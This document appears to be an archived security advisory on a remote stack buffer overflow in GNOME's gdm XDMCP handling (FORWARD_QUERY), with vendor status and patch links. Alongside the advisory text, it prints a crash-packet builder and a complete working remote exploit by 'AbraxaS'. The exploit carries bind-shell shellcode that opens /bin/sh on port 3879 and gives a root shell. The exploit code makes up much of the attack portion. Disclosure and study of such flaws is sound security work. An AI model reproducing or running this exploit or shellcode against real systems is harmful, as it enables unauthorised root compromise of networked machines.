COMMAND

    gdm

SYSTEMS AFFECTED

    gdm

PROBLEM

    Chris Evans found  following.  "gdm"  is a replacement  for "xdm",
    the X  display manager.  gdm is  a part  of the  GNOME desktop.  A
    buffer overflow exists in the XDMCP  parsing code of gdm.  If  gdm
    is configured  to talk  the XDMCP  protocol on  port 177 UDP, then
    you are vulnerable.  At the  time of the overflow, gdm is  running
    as root.  It is  not neccessary to have a  valid username/password
    in order to reach the code flaw.

    But there is good news.  Luckily, most vendors and packagers using
    gdm, ship  with a  default of  XDMCP listening  _disabled_.   Some
    examples of vendors/packages who are safe by default include:

        - RedHat 6.0-6.2
        - Helix GNOME
        - The raw gdm source tarball

    Listening  on  the  network  is  controlled  by  (on  my   system)
    /etc/X11/gdm/gdm.conf.  Locate the [xdmcp] section.  You are  safe
    if you have "Enable=0".  Alternatively use "netstat -ao" to  check
    for something listening on port 177.

    xdm is not vulnerable to this flaw.  kdm (which comes with the KDE
    desktop) is also  free from this  issue (the XDMCP  code is nabbed
    from xdm).   In general,  _whichever_ display  manager you  use to
    offer XDMCP, please consider desisting.  Remember that the display
    manager is rendering a login box onto an untrusted remote machine.
    This  involves  chatting  the  X  protocol.  This  is  not a small
    protocol.  What do you  think the chances are that  $(YOUR_VENDOR)
    ships a completely bug free set of X libraries?

    Aside  from  the  buffer  overflow,  various  people  subsequently
    pointed out potential DoS  issues (null pointer deref's)  and some
    potential memory leaks.

    Check out daemon/xdmcp.c, gdm_xdmcp_handle_forward_query()

        ...
        // On stack
        struct in_addr ia;
        ...
            memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);

        // Where clnt_addr.{data,length} are from the network

    So it's a mildy disguised standard stack overflow.  Demo "crashme"
    packet builder and resultant gdm stack trace follow.

    /*
     * breakgdm.c - Chris Evans
     */

    #include <unistd.h>
    #include <string.h>
    #include <netinet/in.h>

    int
    main(int argc, const char* argv[])
    {
      char deathbuf[1000];
      unsigned short s;
      unsigned char c;

      memset(deathbuf, 'A', sizeof(deathbuf));

      /* Write the Xdmcp header */
      /* Version */
      s = htons(1);
      write(1, &s, 2);
      /* Opcode: FORWARD_QUERY */
      s = htons(4);
      write(1, &s, 2);
      /* Length */
      s = htons(1 + 2 + 1000 + 2);
      write(1, &s, 2);

      /* Now we're into FORWARD_QUERY which consists of
       * remote display, remote port, auth info. Remote display is binary
       * IP address data....
       */
      /* Remote display: 1000 A's which incidentally smoke a path
       * right to the stack
       */
      s = htons(sizeof(deathbuf));
      write(1, &s, 2);
      write(1, deathbuf, sizeof(deathbuf));
      /* Display port.. empty data will do */
      s = htons(0);
      write(1, &s, 2);
      /* Auth list.. empty data will do */
      c = 0;
      write(1, &c, 1);
    }

    Program received signal SIGSEGV, Segmentation fault.
    getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
    88      ../sysdeps/generic/getenv.c: No such file or directory.
    (gdb) bt
    #0  getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
    #1  0x401e8f4a in tzset_internal (always=1094795585) at tzset.c:144
    #2  0x401e9e2a in __tzset () at tzset.c:542
    #3  0x401e676c in strftime (
        s=0x80645c4 "May 20 06:24:04
    gdm[1393]: gdm_xdmcp_handle_forward_query: ForwardQuery from 127.0.0.1",
    maxsize=8188, format=0x40247acb "%h %e %T ",
        tp=0xbffffa94) at strftime.c:476
    #4  0x4020e681 in vsyslog (pri=3,
        fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
    display: 65.65.65.65, port 0", ap=0xbffffae8) at syslog.c:149
    #5  0x4020e59f in syslog (pri=3,
        fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
    display: 65.65.65.65, port 0") at syslog.c:106
    #6  0x804f9a4 in gdm_debug ()
    #7  0x8050da2 in gdm_xdmcp_close ()
    #8  0x41414141 in ?? ()
        ^^^^^^^^^^^^^^
    Cannot access memory at address 0x41414141.

    'AbraxaS' posted following:

    /*
     *             gdm (xdmcp) exploit
     *         written 05/2000 by AbraxaS
     *
     *     abraxas@sekure.de && www.sekure.de
     *
     *
     * Tested on:  SuSE 6.2 / gdm-2.0beta1-4,
     *           RedHat 6.2 / gdm-2.0beta2
     *
     * Offsets: Worked with offsets between 0 and 300
     *
     * Usage: gdmexpl [target] [offset]
     *
     * Note: Just a proof of concept.
     *
     * Greetings to: dies, grue, lamagra & (silly) peak
     */


    #include <stdio.h>
    #include <strings.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netdb.h>

    #define NOP 0x90

    /* lammys bind shell code / binds a shell to port 3879 */
    char code[]=
    "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
    "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
    "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
    "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
    "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
    "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
    "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
    "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


    int resolve (char *denise)
    {
      struct hostent *info;
      unsigned long ip;

      if ((ip=inet_addr(denise))==-1)
      {
        if ((info=gethostbyname(denise))==0)
        {
          printf("Couldn't resolve [%s]\n", denise);
          exit(0);
        }
        memcpy(&ip, (info->h_addr), 4);
      }
      return (ip);
    }


    int main (int argc, char **argv)
    {
      char uhm;
      int nadine;
      short blah[6];
      char buffy[1400]; /* you might make this buffer bigger to increase the
                           probability to hit the right addy. making the
                           buffer too big could destroy the code though */
      unsigned long addy;
      struct sockaddr_in stephanie;
      char big_buffy[sizeof(buffy)+12];

      if (argc < 3)
      {
        printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)"
               "\nUsage: %s [target] [offset]\n", argv[0]);
        exit(0);
      }

      addy = 0xbffff8c0-atoi(argv[2]);

      stephanie.sin_family = AF_INET;
      stephanie.sin_port = htons (177);
      stephanie.sin_addr.s_addr = resolve(argv[1]);
      nadine = socket (AF_INET, SOCK_DGRAM, 0);

      if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct sockaddr))<0)
      {
        perror("Connect"); exit(0);
      }

      /* filling buffer.buffy with NOPs */
      memset(buffy, NOP, sizeof(buffy));
      /* cleaning buffer.big_buffy */
      bzero(big_buffy, sizeof(big_buffy));

      /*
       *   creating XDMCP header
       */

      /* XDM_PROTOCOL_VERSION */
      blah[0] = htons(1);
      /* opcode "FORWARD_QUERY" */
      blah[1] = htons(4);
      /* length (checksum)*/
      blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */
      /* length of display buffer */
      blah[3] = htons(sizeof(buffy));
      /* display port */
      blah[4] = htons(0);
      /* authlist */
      blah[5] = htons(0);

      *(short *)&big_buffy[0]=blah[0];
      *(short *)&big_buffy[2]=blah[1];
      *(short *)&big_buffy[4]=blah[2];
      *(short *)&big_buffy[6]=blah[3];
      *(short *)&big_buffy[sizeof(buffy)+8]=blah[4];
      *(short *)&big_buffy[sizeof(buffy)+10]=blah[5];


      /* writing shellcode */
      memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code));

      /* fixing some stuff */
      *(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */
      *(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */
      *(long *)&buffy[8] = 0x00000000;

      /* writing own RET address */
      *(long *)&buffy[32]=addy;

      /* copying buffy into big_buffy */
      memcpy(big_buffy+8, buffy, sizeof(buffy));

      /* sending big_buffy */
      write(nadine, big_buffy, sizeof(big_buffy));

      printf("\nConnect to %s, port 3879 now.", argv[1]);
      printf("\nBut behave :) --abraxas\n");

      close(nadine);

    }

    Conectiva Linux 4.1, 4.2 and 5.0 is vulnerable.

SOLUTION

    SuSE ship gdm with "Enable=0", so they are not vulnerable to  this
    kind of  attack.   Older SuSE  releases, which  ship with gdm 1.x,
    have "Enable" set to 1 but seem not to be vulnerable by this bug.

    TurboLinux 6.x are NOT vulnerable.  They ship with Enable=0

    Debian as well 'ships' gdm with Enable=0 as Linux-Mandrake too.

    For  Conectiva  Linux  if  you  need  to  use XDMCP, then you MUST
    upgrade the gdm program to the latest release following the  links
    below.  If XDMCP  is disabled in /etc/X11/gdm/gdm.conf,  then this
    vulnerability  cannot  be  exploited.   Direct  download  links to
    updated packages:

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/gdm-2.0beta4-2cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/gdm-2.0beta4-2cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/gdm-2.0beta4-2cl.i386.rpm

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/gdm-2.0beta4-2cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/gdm-2.0beta4-2cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/gdm-2.0beta4-2cl.src.rpm